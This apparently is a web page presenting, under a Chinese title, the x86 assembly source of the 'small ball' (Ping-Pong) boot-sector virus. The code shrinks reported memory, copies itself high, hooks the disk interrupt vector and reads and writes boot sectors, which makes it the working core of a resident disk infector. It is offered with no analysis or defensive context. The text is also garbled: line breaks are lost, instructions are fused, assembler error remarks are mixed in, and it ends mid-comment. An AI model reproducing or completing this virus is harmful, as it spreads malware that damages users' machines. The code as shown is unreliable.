小球病毒的源代码 cseg segment assume cs:cseg org 7c00h main proc far ；0000:7c00————————- stav:jmp start db 49h, 42h, 4Dh, 20h, 20h,37h, 2Eh, 30h, 00h, 02h, 04h, 01h, 00h db 02h, 00h, 02h, 07h,0A3h,0F8h, 29h, 00h,11h, 00h, 04h, 00h, 11h, 00h, 0FFh,0FFh ；0000:7c1e————————- start: xor ax,ax mov ss,ax mov sp,7c00h mov ds,ax mov ax,ds:[0413h] sub ax,0002h mov word ptr ds:[413h],ax mov cl,06h shl ax,cl sub ax,07c0h ；7c37——————————————————- mov es,ax mov si,7c00h mov di,si mov cx,0100h repzmovsw ； mov cs,ax ； push ax ；let the two line tocomplish ‘mov cs,ax‘ ； pop cs jmp es:$+2 ；97c0:7c45———————————————————— push cs pop ds call comd1 ；7c4a ；7c4a——————————— comd1: xor ah,ah int 13 and byte ptr [0:7df8h],80h mov bx,[0:7df9h] push cs pop ax sub ax,0020h mov es,ax call con2 ；7c9d mov bx,[0:7df9h] inc bx mov ax,0ffc0h mov es,ax call con2 ；7c9d xor ax,ax mov [0:7df7h],al mov ds,ax ；7c75————————————————————- mov ax,[0:04ch] mov bx,[0:04eh] mov si,word ptr [0:7cd0h] mov word ptr[0:04ch],si ；7cd0 Need register in expression mov [0:04eh],cs push cs pop ds mov [0:7d2ah],ax mov [0:7d2ch],bx mov dl,[0:7df8h] jmp stav ；000:7c00h ；7c98———————————————————————— con1: mov ax,0301h jmp con21 ；7ca0 ；7c9d——————————————- con2: mov ax,0201h ；7ca0————————————————- con21: xchg bx,ax add ax,[0:7c1ch] xor dx,dx div word ptr [0:7c18h] inc dl mov ch,dl xor dx,dx div word ptr [0:7c1ah] mov cl,06h shl ah,cl or ah,ch mov cx,ax xchg ch,cl mov dh,dl mov ax,bx ；7cc3————————————————- con3: mov dl,[0:7df8h] mov bx,8000h int 13 jnb emd pop ax ；7ccf——————————————————- emd: ret ；7cd0——...
